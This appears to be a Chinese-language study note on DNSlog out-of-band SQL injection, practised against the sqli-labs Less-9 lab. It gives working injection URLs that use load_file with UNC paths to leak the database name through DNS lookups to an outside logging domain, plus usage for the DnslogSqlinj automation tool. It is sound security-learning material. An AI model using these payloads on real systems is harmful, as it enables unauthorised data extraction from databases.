DNSlog注入

DNSlog注入实际上是属于盲注的一种,但是比盲注效率高一点。

在一定的情况下,如果我们想对一个网站使用布尔或时间盲注,手动注入会对WAF的绕过会非常有帮助,但是效率不高,因此我们往往会使用SQLmap等工具注入,但是这种工具对很多网站都有限制。这时候就该尝试DNSlog注入。

这种注入方式,相较于布尔或时间盲注而言,好处在于可以一组一组进行测试,不用再一个一个字符进行逐以测试,比其他两个盲注效率要高,但是要求服务器的读写权限都要对MySQL开启,如果没有开启的话,是不能使用这种注入方式的。

关键函数

  • load_file("[路径]"):用于读取某个文件

    1
    select load_file("C:\\test.txt");

    可以读取出文件,并且获取到一共多少个字节。

    除了可以读取本机路径以外还可以读取到网络上的路径,即可以使用UNC路径。

  • UNC路径

    格式:\servername\sharename,其中

    • servername是服务器名,可以是域名或者是IP地址
    • sharename是共享资源的名称

    利用UNC路径能解析网络路径的特性

利用方式

img

而这里我们常常用到的DNSlog服务网站为

  • http://dnslog.cn/

    使用方法:打开后,选择get subdomain获取一个dns服务器,接着我们尝试在浏览器打开随机一段字符串+获取到的dns服务器,例如text.d3158r.dnslog.cn,点击Refresh Record,即可获取到解析记录

    image-20230419002710065
  • https://dig.pm/

简而言之,注入过程就是让目标数据库去解析域名,然后在解析域名之前,执行一段查询语句,并加入到解析域名中,DNS记录下的解析记录即为查询结果。

实例

由于dnslog.cn时不时无法访问,这里使用dig.pm

我们还是继续用到Less-9。先判断出闭合方式为',具体判断流程不再赘述。由于load_file函数中,参数是被双引号闭合起来的,因此我们需要用到concat来拼接字符串,不能直接在load_file中使用,以下是一个错误示范:

1
http://10.0.0.181/sqli/less-9/?id=1' and (select load_file(//(select database()).f899e19f.ipv6.1433.eu.org/text.txt))) --+

正确的注入语句构造方式应该是将//、查询的内容、和后面dns服务器的部分拼接起来,这样才能让查询的内容执行完,再放入load_file中执行

1
http://10.0.0.181/sqli/less-9/?id=1' and (select load_file(concat("//",(select database()),".f899e19f.ipv6.1433.eu.org/text.txt"))) --+

然后在dig.pm中获取解析记录

image-20230419005719436

发现已经有了结果。然后更具体的注入获取流程,请参考前面的笔记的过程,不再作出赘述。

自动化注入利用

DnslogSqlinj:https://github.com/ADOOO/DnslogSqlinj

首先需要安装依赖

1
2
pip2 install gevent==1.2.2
pip2 install termcolor

然后我们需要修改配置文件,在ceye.io获取APItoken和DNSurl后,修改config.py中的APItoken和DNSurl。接着我们根据github上的提示即可自动化DNSlog注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Usage: dnslogSql.py [options] -u http://10.1.1.9/sqli-labs/Less-9/?id=1' and ({})--+

Options:
--version show program's version number and exit
-h, --help show this help message and exit
-n TASKNAME, --name=TASKNAME
task name
-t THREAD_COUNT, --thread=THREAD_COUNT
thread_count
-u URL, --url=URL target include injection
-i INF, --inf=INF Testing target and Try to get information
--dbs get database
-D DB database name
--tables get table
-T TABLE table name
--columns get column
-C COLUMN column name
--dump get data

(ceye.io不清楚为什么进不去,能进去之后再进一步展示使用方法)